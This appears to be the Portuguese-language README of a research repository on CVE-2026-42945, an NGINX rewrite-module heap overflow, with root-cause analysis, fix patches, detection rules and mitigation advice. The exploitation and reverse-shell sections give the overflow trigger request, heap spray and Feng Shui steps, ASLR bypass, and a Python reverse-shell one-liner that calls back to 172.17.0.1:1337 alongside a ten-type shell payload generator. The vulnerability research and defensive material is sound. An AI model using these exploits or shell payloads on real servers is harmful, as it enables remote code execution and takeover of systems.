
Repositório completo de pesquisa sobre CVE-2026-42945 com análise de estouro de buffer heap, exploit de RCE (heap spray + Feng Shui), scripts de detecção e orientações de correção para a vulnerabilidade do módulo de reescrita do NGINX.
Estouro de Buffer na Heap no ngx_http_rewrite_module do NGINX
| Métrica | Valor |
|---|---|
| CVSS v4.0 | 9.2 (Crítico) |
| CVSS v3.1 | 8.1 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | 122 — Estouro de Buffer Baseado em Heap |
| Introduzido | Junho de 2008 — v0.6.27 |
| Descoberto | Abril de 2026 — DepthFirst Research |
| Corrigido | 13 de Maio de 2026 — v1.30.1, v1.31.0 |
| CVE Publicado | 21 de Maio de 2026 |
| Tempo de Vida | ~18 anos (não detectado) |
| Commit da Correção | 524977e7c534e87e5b55739fa74601c9f1102686 |
Um atacante remoto não autenticado pode desencadear um estouro de buffer determinístico na heap nos processos worker do NGINX enviando uma requisição HTTP maliciosa para um servidor com um padrão de configuração específico de rewrite + set/if/rewrite. O estouro corrompe metadados da heap (ponteiros ngx_pool_cleanup_t), possibilitando a Execução Remota de Código (RCE) através de técnicas de heap spray e Feng Shui.
server { listen 19321;
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
}
**Key requirements:**
- Uma diretiva `rewrite` cuja substituição contenha `?` (separador de string de consulta)
- Uma diretiva `set`, `if` ou `rewrite` subsequente que referencie uma **captura PCRE sem nome** (`$1`, `$2`, etc.)
- O `?` na substituição do rewrite aciona `ngx_http_script_start_args_code` que define `e->is_args = 1`
### O que um atacante pode alcançar
| Capacidade | Descrição |
|-----------|-------------|
| **Negação de Serviço** | Quebrar processos workers de forma determinística, causando loops de reinicialização (funciona independentemente de ASLR) |
| **Execução Remota de Código** | Com ASLR desativado (ou contornado via sobrescrita parcial), obter RCE total como o usuário do nginx |
| **Exfiltração de Dados** | Através de primitivas de leitura de memória, extrair dados sensíveis do heap do worker |
| **Persistência** | Instalar backdoors via execução de código na memória do processo worker |
---
## 2. Análise da Causa Raiz
### O Mecanismo de Script de Duas Passagens
O `ngx_http_rewrite_module` do NGINX usa um **mecanismo de script de duas passagens** em `src/http/ngx_http_script.c`:
1. **Passagem de Comprimento** (`ngx_http_script_run`): itera todos os códigos de script para calcular o tamanho total do buffer necessário. Escreve comprimentos em `le.ip` e `le.pos`.
2. **Passagem de Cópia** (`ngx_http_script_copy_len`/`_code`): itera novamente, escrevendo bytes reais no buffer pré-alocado em `e->ip` e `e->pos`.
Cada código de script possui dois manipuladores: um para cada passagem. Por exemplo:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`
### A Flag `is_args`
A flag `e->is_args` na **estrutura do motor** (`ngx_http_script_engine_t`) controla como a passagem de cópia lida com certos caracteres:```c
typedef struct {
u_char *ip;
u_char *pos;
ngx_http_variable_value_t *sp;
ngx_str_t buf;
int flushed;
unsigned is_args:1; // <-- THE BUG
unsigned ncaptures:1;
ngx_uint_t captures_size;
// ...
} ngx_http_script_engine_t;
Quando e->is_args = 1, o código de cópia para referências de captura $N chama ngx_escape_uri() com NGX_ESCAPE_ARGS, que expande:
+ → %2B (1 byte → 3 bytes, +200%)% → %25 (1 byte → 3 bytes, +200%)& → %26 (1 byte → 3 bytes, +200%)O fluxo de execução para o padrão vulnerável:``` rewrite ^/api/(.*)$ /internal?migrated=true;
1. Durante a **avaliação da reescrita**, o mecanismo encontra `?` na string de substituição, o que dispara `ngx_http_script_start_args_code`, definindo `e->is_args = 1`.
2. A reescrita modifica o URI da requisição e então continua para a próxima diretiva.
3. **`e->is_args` NUNCA É LIMPO**.
Então:```
set $original_endpoint $1;
le) é criado para a passagem de comprimento: ```c
ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
Isso zera corretamente le.is_args = 0, então a passagem de comprimento retorna o comprimento da captura bruto, sem escape.
e, que ainda possui e->is_args = 1 desde o passo 1. A passagem de cópia aplica escape de URI, expandindo cada caractere escapável de 1 byte para 3 bytes dentro de um buffer que foi dimensionado para o comprimento bruto — estouro de heap.Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7
Buffer allocated: 7 bytes
Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes
A taxa de expansão é `7 + (n_escapable * 2)` onde `n_escapable` é a contagem de `+`, `%` e `&` na captura.
---
## 3. Mecânicas de Exploração
### Visão Geral
| Passo | Técnica | Descrição |
|------|-----------|-------------|
| 1 | Overflow | Enviar URI maliciosa com preenchimento de `+` para estourar o buffer da heap |
| 2 | Heap Spray | Fazer POST de corpos grandes para `/spray` para preencher a heap com dados controlados |
| 3 | Feng Shui | Organizar alocações para que o alvo do estouro (`ngx_pool_cleanup_t`) fique adjacente |
| 4 | Corrupt Handler | O estouro sobrescreve `ngx_pool_cleanup_t.handler` com o endereço de `system()` |
| 5 | Trigger Cleanup | Aguardar a destruição do pool → `system(cmd)` executa o comando do atacante |
| 6 | Reverse Shell | Encadear com payload de reverse shell para acesso interativo |
### Feng Shui Entre Requisições
**Feng Shui de requisição única falha** porque o estouro corrompe os metadados do pool (`->d.next`, `->d.failed`) antes de alcançar o ponteiro `cleanup`. Quando o pool é destruído ao final da requisição, os metadados corrompidos causam uma **quebra antes que `system()` seja chamada**.
Em vez disso, o exploit usa **Feng Shui entre requisições**:
1. **Requisição 1 (spray)**: Fazer POST de um corpo grande para `/spray`. O backend (`server.py`) mantém a resposta com o cabeçalho `X-Delay`, mantendo a conexão aberta e preservando a alocação na heap. O spray preenche a heap com blocos `ngx_pool_cleanup_t` falsos.
2. **Requisição 2 (overflow)**: Enviar a URI de estouro. O estouro corrompe apenas o ponteiro `cleanup` (não os metadados do pool), apontando-o para o bloco falso aspergido.
3. **Destruição do pool**: Quando a resposta do spray é concluída (o atraso expira), a cadeia de cleanup do pool percorre até o bloco falso e chama `system(cmd)`.
### Requisitos de Endereço
| Símbolo | Valor (Docker, ASLR desligado) | Descrição |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base do heap do nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` na glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Ponteiro para o pool de ciclos |
| Endereço falso de cleanup | `0x5555556a4030` | Endereço alvo do spray |
### Bypass de ASLR
Sem desabilitar o ASLR, o **DoS** (quebra) ainda funciona deterministicamente. Para RCE com ASLR habilitado, duas abordagens:
1. **Sobrescrita parcial**: Usar sobrescrita de 1 ou 2 bytes para deslocar um ponteiro dentro da mesma página, bruteforçando os nibbles restantes (16–256 tentativas).
2. **Vazamento de informação**: Ler `/proc/self/maps` ou usar a análise de memória do `log_parser.py` para determinar o layout.
---
## 4. Análise da Correção
### A Correção Oficial
**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`
**Arquivo**: `src/http/ngx_http_script.c`
**Linha**: ~1205 (em `ngx_http_script_regex_end_code`)```diff
void
ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
{
ngx_http_script_regex_code_t *code;
code = (ngx_http_script_regex_code_t *) e->ip;
+ e->is_args = 0; /* ← THE FIX */
e->ip += sizeof(ngx_http_script_regex_code_t);
// ...
}
ngx_http_script_regex_end_code é executado após cada avaliação de regex durante as passagens de comprimento e cópia. Redefinir e->is_args = 0 aqui garante:
set, if, rewrite) começam com um is_args = 0 limpongx_http_script_start_args_code ainda pode definir is_args = 1 quando encontra ? em uma string de substituição — a correção não quebra essa funcionalidadepatches/0002-hardening-bounds-check.patch adiciona uma verificação de limites em ngx_http_script_copy_capture_code:```c
if (e->pos + len > e->buf.data + e->buf.len) {
return; /* gracefully truncate instead of overflowing */
}
### Patches de Backport
| Patch | Versões do Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |
---
## 5. Versões Afetadas
### NGINX Open Source
| Faixa | Status |
|-------|--------|
| **0.1.0 – 0.6.26** | Não afetado (módulo rewrite é anterior a capturas sem nome) |
| **0.6.27 – 1.30.0** | **Vulnerável** (janela de 18 anos) |
| **1.30.1** | Primeira versão corrigida |
| **1.31.0+** | Corrigido (mainline) |
### NGINX Plus
| Versão | Afetado | Corrigido |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |
### NGINX Ecosystem
| Produto | Afetado | Status |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Aviso pendente |
| F5 NGINX WAF | 5.9.0–5.12.1 | Aviso pendente |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Aviso pendente |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Aviso pendente |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Aviso pendente |
| NGINX Agent | 2.0.0–2.35.0 | Aviso pendente |
---
## 6. Detecção
### Verificação de Versão```bash
bash detection/detect_vuln.sh
Este script verifica:
rewrite + ? + capturepython3 exploit/config_scanner.py /etc/nginx/nginx.conf
python3 exploit/config_scanner.py /etc/nginx/
python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix
### Escaneamento de Contêiner```bash
python3 detection/container_scan.py
Scans local Docker images for NGINX labels/env vars indicating vulnerable versions.
python3 exploit/log_parser.py /var/log/nginx/error.log
python3 exploit/log_parser.py /var/log/nginx/error.log --watch
## 7. Mitigação
### Imediata (Sem Alteração de Código)
Substitua **capturas sem nome** por **capturas nomeadas** em todas as diretivas `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;
# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;
Capturas nomeadas não passam por ngx_escape_uri(..., NGX_ESCAPE_ARGS), portanto mesmo com e->is_args = 1, nenhuma expansão ocorre e não há estouro.
bash detection/harden_nginx.sh /etc/nginx/nginx.conf
Aplica estas medidas de endurecimento:
- Verificação e ativação forçada de ASLR
- Isolamento de processos de trabalho
- Restrição de core dump
- Fortalecimento de SSL/TLS
- Limitação de taxa
- Cabeçalhos CSP
### Verificação de ASLR```bash
bash detection/check_aslr.sh
CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline
## 9. Início Rápido```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up
# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}
# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓
# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓
# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned
# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf
make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up
cd docker && docker compose up --build
O ambiente Docker:
- Compila o NGINX a partir do commit `98fc3bb78` (último commit vulnerável antes da correção)
- Inclui GDB, valgrind, `util-linux` (para `setarch -R` desabilitar ASLR)
- Expõe as portas **19321** (nginx vulnerável), **19322** (secundária), **19323** (back-end Python)
- O entrypoint usa `setarch x86_64 -R` para desabilitar ASLR para um layout de endereço determinístico de exploit
- Concede a capacidade `SYS_PTRACE` e `seccomp=unconfined` para depuração
### Apenas Vulnerável```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
# -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/
make fix-container
### ASAN Contentor```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/
git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx
---
## 11. Disparar o Estouro
### Falha Básica (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
Isso envia:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1
Os caracteres `+` na captura `$1` são expandidos 3× durante a passagem de cópia enquanto o buffer foi dimensionado para o comprimento bruto, transbordando o heap.
### Expected Output```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned
python3 exploit/escape_calc.py --find-min 64
Calcula o número mínimo de sinais `+` necessários para causar overflow em um número de bytes alvo (útil ao explorar estruturas específicas de heap).
### Character Expansion```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969
Produz a taxa de expansão para um dado comprimento de prefixo e número de caracteres escapáveis.
O exploit implementa cross-request Feng Shui para alcançar execução de código confiável:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►
### Uso Básico```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
--cmd "whoami > /tmp/pwned"
python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3
### Opções Avançadas
| Flag | Default | Descrição |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Host alvo |
| `--port` | `19321` | Porta alvo |
| `--cmd` | — | Comando a executar (obrigatório a menos que `--shell`) |
| `--shell` | — | Usar modo de shell interativo |
| `--tries` | `3` | Número de tentativas de exploração |
| `--delay` | `2.0` | Atraso entre spray e overflow (segundos) |
| `--payload` | — | Caminho para arquivo de payload personalizado |
| `--debug` | — | Ativar saída de depuração detalhada |
### Análise de Layout da Heap```bash
python3 exploit/heap_layout.py
Requer um PID de worker do nginx em execução. Analisa /proc/PID/maps para encontrar:
system()python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5
Encontra endereços de heap cujos bytes não incluem caracteres escapáveis (`+`, `%`, `&`, `?`, etc.) para uso na construção de payloads de exploit.
---
## 13. Verificação de Shell Reversa
### Arquitetura```
shell_manager.py
│
├── shell_payloads.py → Generate payload strings for 10 shell types
├── shell_listener.py → Start TCP listener (interactive + verify mode)
├── exploit/exploit.py → Send exploit with payload to target
└── shell_verify.py → Wait for connection, run commands, verify output
python3 shell/shell_listener.py --port 1337
python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
### Verificação Automatizada```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
--shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"
# Full pipeline across all shell types
bash shell/shell_test_runner.sh
# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
--shell-type python --listen-port 1337 --callback-ip 172.17.0.1
python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list
---
## 14. Correção
### Aplicar a Correção```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch
# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch
### Aplicar Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch
grep 'is_args = 0' patches/0001-fix-is_args.patch
patch -p1 --dry-run -i patches/0001-fix-is_args.patch
---
## 15. Testes
### Testes Unitários```bash
# Via Makefile
make test
# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v
bash test/run_tests.sh
Executa:
1. Testes unitários (pytest ou unittest)
2. Teste de trigger/overflow (se o servidor estiver em execução)
3. Scanner de configuração contra configurações vulneráveis e seguras
4. Validação de dry-run de patch
### Matriz de Regressão```bash
bash tools/regression_matrix.sh
Testa várias versões do NGINX (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) contra configurações vulneráveis e seguras, verificando expectativas de crash/sem crash.
bash tools/test_all_configs.sh
Testa todos os padrões de configuração (básico, avançado, ingress, gateway) com acionadores de overflow.
---
## 16. Fuzzing
### libFuzzer Harness
O fuzzer (`fuzz/ngx_http_script_fuzz.c`) simula o mecanismo de script de duas passadas:
1. Analisa a entrada como uma sequência de códigos de script
2. Executa a passagem de comprimento
3. Executa a passagem de cópia com `e->is_args = 1`
4. Detecta estouro de buffer via ASAN ou incompatibilidade de tamanho```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/
bash tools/afl_runner.sh
Lanches AFL++ com ASAN, timeout configurável e limites de memória contra o harness de fuzzing.
### Corpus de Sementes
O diretório `fuzz/corpus/` contém entradas de sementes que reproduzem o padrão vulnerável, incluindo:
- Gatilho de overflow básico
- Captura nomeada (não deve causar overflow)
- Casos extremos (captura vazia, tamanho máximo, etc.)
---
## 17. Pipeline de CI
### GitHub Actions
O projeto usa um **único workflow de CI do GitHub Actions** (`.github/workflows/ci.yml`) com estes jobs:
| Job | O que faz |
|-----|-------------|
| `lint` | ShellCheck, validação de sintaxe Python |
| `scan-configs` | Executa config_scanner.py contra todas as amostras de configuração |
| `fuzz-build` | Compila o harness libFuzzer |
| `test` | Executa a suíte pytest/unittest |
| `detect-patch` | Verifica o formato do patch e o conteúdo da correção |
| `verify-project` | Executa `tools/verify_project.sh` |
### Pipeline Completo```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh
# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker
O pipeline executa 7 fases:
| Referência | URL |
|---|---|
| Pesquisa DepthFirst | https://depthfirst.com/research/nginx-rift-achieving-nginx-rce-via-an-18-year-old-vulnerability |
| Repositório PoC |
| Recurso | Descrição |
|---|---|
ngx_http_script.c | O arquivo de origem com bug no módulo de rewrite do NGINX |
Este projeto é para fins educacionais e de pesquisa de segurança defensiva. A vulnerabilidade foi divulgada e corrigida de forma responsável pelos mantenedores do NGINX.
| Rule Set | File | Coverage |
|---|
| ModSecurity | detection/modsecurity_rule.conf | Blocks 100+ consecutive +, 50+ encoded escapable chars, rate-limits spray endpoints |
| Suricata/Snort | detection/suricata_rule.rules | Detects excess + in GET URIs, encoded char floods, POST spray to /spray, crash-loop DoS |
| Falco | detection/falco_rule.yaml | Runtime: SIGSEGV on nginx worker, crash loop (3+ in 60s), heap spray POST detection |
| Tipo | Binário | Notas |
|---|
bash | /dev/tcp | TCP integrado do bash |
python | python3 -c | Mais confiável, sempre disponível |
nc | nc | Netcat |
perl | perl -e | |
ruby | ruby -rsocket -e | |
php | php -r | |
socat | socat | |
telnet | telnet | |
openssl | openssl s_client | Requer certificado |
powershell | powershell | Alvos Windows |
| Documento | Descrição |
|---|
docs/root-cause-analysis.md | Análise técnica aprofundada do bug do motor de script de duas passagens, com walkthroughs de código e diagramas |
docs/exploitation-guide.md | Exploração passo a passo, heap spray, Feng Shui, cálculo de endereço, bypass de ASLR |
docs/detection-guide.md | Varredura de configuração, análise de logs, regras WAF, integração SIEM, detecção de anomalias |
docs/mitigation-guide.md | Conversão de captura nomeada, limitação de taxa, implantação de WAF, procedimentos de atualização |
docs/FAQ.md | Perguntas frequentes sobre a vulnerabilidade, exploração e remediação |
docs/timeline.md | Linha do tempo de divulgação completa desde a introdução do bug em 2008 até a correção em 2026 |
docs/operational-guidance.md | Resposta a incidentes, forense, coleta de IOC, mitigação de emergência |
docs/case-study.md | Simulação de cenário de ataque real com análise de kill-chain |
docs/presentation-slides.md | Apresentação para conferência/encontro com notas do palestrante |
| Métrica | Valor |
|---|
| Total de arquivos | 80+ |
| Diretórios | 13 (docker, exploit, shell, patches, configs, detection, fuzz, test, docs, tools, pipelines, .github/workflows, configs/advanced) |
| Scripts Python | 22 (exploit, detection, tools, shell, test) |
| Scripts Shell | 15 (detection, tools, shell, test, pipelines) |
| Patches | 5 (1 correção + 1 hardening + 3 backports) |
| Conjuntos de regras WAF | 3 (ModSecurity, Suricata, Falco) |
| Configuração CI | 1 (GitHub Actions — apenas CI) |
| Documentação | 9 documentos técnicos detalhados |
| Exemplos de configuração | 7 (4 vulneráveis, 2 seguros, 1 captura nomeada + 3 avançados) |
| Log de commits | 1003+ commits individuais |
| Tipos de shell | 10 (bash, python, nc, perl, ruby, php, socat, telnet, openssl, powershell) |
| Harness de fuzzing | 1 (libFuzzer, ~200 linhas C) |
| Casos de teste | 8 testes unitários + runner shell |
| Versões NGINX cobertas | 20 na matriz de regressão |
| Ciclo de vida | 18 anos (2008–2026) |
| Referência | URL |
|---|
| Entrada NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-42945 |
| Commit de Correção | https://github.com/nginx/nginx/commit/524977e7c534e87e5b55739fa74601c9f1102686 |
| Aviso da F5 | https://my.f5.com/manage/s/article/K000161019 |
| Changelog NGINX | https://nginx.org/en/CHANGES |
| https://github.com/DepthFirstDisclosures/Nginx-Rift |
| CWE-122 | https://cwe.mitre.org/data/definitions/122.html |
ngx_pool_cleanup_t | A estrutura de heap corrompida para RCE |
ngx_escape_uri() | A função de expansão que causa o estouro |
setarch(8) | Ferramenta Linux para desabilitar ASLR para endereços de exploit determinísticos |